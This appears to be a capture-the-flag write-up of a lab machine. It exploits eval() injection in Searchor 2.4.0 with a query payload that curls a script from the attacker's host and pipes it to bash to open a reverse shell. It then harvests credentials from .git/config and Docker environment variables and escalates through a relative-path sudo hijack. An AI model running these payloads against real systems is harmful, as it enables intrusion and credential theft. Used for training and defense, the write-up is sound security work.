Recon
Standard two-port scan. The web app footer was more interesting than nmap — it told me exactly what I needed to know about the attack surface.
$ nmap -sC -sV -oN nmap/initial 10.129.2.7 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 80/tcp open http Apache httpd 2.4.52 (Ubuntu) |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-redirect: http://busqueda.htb/
$ echo "10.129.2.7 busqueda.htb" >> /etc/hosts
The web app is "Searcher" — a search aggregation tool that proxies queries to various search engines. The footer shows Powered by Searchor 2.4.0 and links to the GitHub repo. That version number is the key.
Enumeration
Searchor 2.4.0 has a known code injection vulnerability. Looking at the source code on GitHub (the footer conveniently links it), the search() function in Searchor uses Python's eval() to construct a URL from user-supplied engine name and query:
def search(engine, query, open, copy):
try:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
The query parameter goes directly into the eval string. A single quote breaks out of the string literal context, and Python expressions execute inline. This is textbook eval() injection.
eval(). Injecting a single quote followed by Python expressions achieves arbitrary code execution as the web server user.
Foothold
I crafted a payload that breaks out of the string literal and calls os.system() to execute a reverse shell. The payload is injected into the query field of the search form.
# reverse shell script served from my machine $ cat s.sh #!/bin/bash bash -i >& /dev/tcp/10.10.14.X/4444 0>&1 $ python3 -m http.server 80 # search form payload (query field) ',__import__('os').system('curl http://10.10.14.X/s.sh|bash'))#
connect to [10.10.14.X] from (UNKNOWN) [10.129.2.7] 49276 svc@busqueda:/var/www/app$ id uid=1000(svc) gid=1000(svc) groups=1000(svc)
Shell as svc. I immediately looked for credentials in the web application directory.
svc@busqueda:/var/www/app$ cat .git/config [core] repositoryformatversion = 0 filemode = true bare = false [remote "origin"] url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git fetch = +refs/heads/*:refs/remotes/origin/*
Gitea credentials in the git remote URL: cody:jh1usoih2bkjaspwe92. Added gitea.searcher.htb to hosts and logged in — found repositories and an administrator account to target.
Privilege Escalation
svc@busqueda:~$ sudo -l User svc may run the following commands on busqueda: (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
The system-checkup.py script accepts subcommands. I ran it with docker-inspect to dump container environment variables:
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' gitea {"Env":["USER_UID=115","USER_GID=121", "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh", "GITEA__database__USER=gitea", "GITEA__security__SECRET_KEY=..."]}
Logged into Gitea as administrator with the DB password — found the private repo containing system-checkup.py source. The script has a full-checkup subcommand that calls ./full-checkup.sh — a relative path. Running it from a directory I control means my full-checkup.sh runs as root.
svc@busqueda:/tmp$ cat > full-checkup.sh << 'EOF' #!/bin/bash chmod u+s /bin/bash EOF svc@busqueda:/tmp$ chmod +x full-checkup.sh svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup [=] Done! svc@busqueda:/tmp$ /bin/bash -p bash-5.1# id uid=1000(svc) gid=1000(svc) euid=0(root)
Flags
Lessons Learned
eval()with any user-controlled input is an unconditional critical finding — Searchor's search function is a textbook case. Never build dynamic eval strings from user data.- Git config files (
.git/config) in web application directories frequently contain credentials embedded in remote URLs. Always check them immediately after getting shell access. - Docker container environment variables accessed via
docker inspectoften hold database and service credentials — dump them whenever docker commands are available via sudo. - Relative path execution in sudo scripts is a path hijack: place a malicious script with the expected filename in a directory you control, then run the sudo command from that directory.
eval() with user input — use a whitelist of allowed engine names and query the corresponding function directly. Credentials in git remote URLs are stored in plaintext and readable by anyone with filesystem access. Sudo scripts that reference relative paths must use absolute paths exclusively.